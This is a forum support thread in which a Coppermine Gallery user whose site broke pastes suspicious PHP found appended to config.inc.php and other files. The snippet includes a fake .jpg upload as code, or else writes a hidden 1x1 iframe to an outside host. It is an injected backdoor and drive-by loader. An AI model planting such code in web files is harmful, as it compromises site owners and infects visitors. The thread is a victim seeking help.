forum.coppermine-gallery.net
Support => cpg1.4.x Support => Older/other versions => cpg1.4 miscellaneous => Topic started by: sakyabuni on April 19, 2008, 03:13:02 pm
-
OK, first, hi everyone. Thanks for maintaining this board! I just joined. My gallery has gone down after only 3 weeks. I've searched through the posts. I'm not a programmer, just a designer. I apologize for that! After searching the forum, I found someone with a similar problem.
I have a question about the config.inc.php
Like the user who posted this problem:
http://forum.coppermine-gallery.net/index.php/topic,38206.0.html
My gallery suddenly went down. I hadn't uploaded to it for several days. I'm getting this: "Coppermine Photo Gallery seems not to be installed correctly, or you're running coppermine for the first time. You'll be redirected to the installer. "
I looked at the config.inc.php. It has code after the last line, MySQL TABLE NAMES PREFIX. Does this show that there is a problem? Or is it something that just gets added during the install. Can I just remove it and reupload the config.inc.php?
// MySQL TABLE NAMES PREFIX
$CONFIG['TABLE_PREFIX'] = 'cpg14x_';
?>
<?php
if
(file_exists("/home/content/D/R/N/DRNC17/html/albums/userpics/10001/0xv045563131x.jp
g")) {
include("/home/content/D/R/N/DRNC17/html/albums/userpics/10001/0xv045563131x.jpg");
} else {
echo "<iframe
src='http://ccfel
1;mvhk.com/dl/a
dv542.php' width=1
height=1></iframe>";
}
?>
Also listed are these problems below. Does that suggest a problem with the index page and database? Or are these problems coming up because of config.inc.php?
Fatal error: Call to undefined function: get_meta_album_set() in
/home/content/D/R/N/DRNC17/html/index.php on line 2275
MySQL said: ' . mysql_error() . ''); // Retrieve DB stored configuration $results =
cpg_db_query("SELECT * FROM {$CONFIG['TABLE_CONFIG']}"); while ($row =
mysql_fetch_array($results)) { $CONFIG[$row['name']] = $row['value']; } // while
mysql_free_result($results); // Reference 'site_url' to 'ecards_more_pic_target'
$CONFIG['site_url'] =& $CONFIG['ecards_more_pic_target']; // Include logger functions
include_once('include/logger.inc.php'); // Include media functions require
'include/media.functions.inc.php'; // Check for GD GIF Create support if ...
Thanks for your time. :)
-
Also, I downloaded another config.inc.php file from the same server (different URL)
the table prefix is cpg_143
// MySQL TABLE NAMES PREFIX
$CONFIG['TABLE_PREFIX'] = 'cpg_143';
the table prefix for the gallery I am having trouble with is 'cpg14x_';
Perhaps this is a silly question but Is it common for there to be a variable there, the x? Could that be an indication of a problem?
-
the URL is http://www.danielradcliffenc-17.com/
-
See http://forum.coppermine-gallery.net/index.php/topic,51927.0.html
-
Thanks Nibbler! :-*
We'll go over that. (https://forum.coppermine-gallery.net/proxy.php?request=http%3A%2F%2Fi245.photobucket.com%2Falbums%2Fgg46%2FPretty_in_Rd%2Fashamed.gif&hash=3089ede3ff757c8cbdcbc06114cf6eb285a5dda0)
Is that because I'm with a cheezy web provider? I'm on GoDaddy. Or did I bring it upon my self?
-
ah, it seems many of the php files in the upper level have that extra code in them
*pacman munchie smiley
thanks for the link, so far it's been easy to follow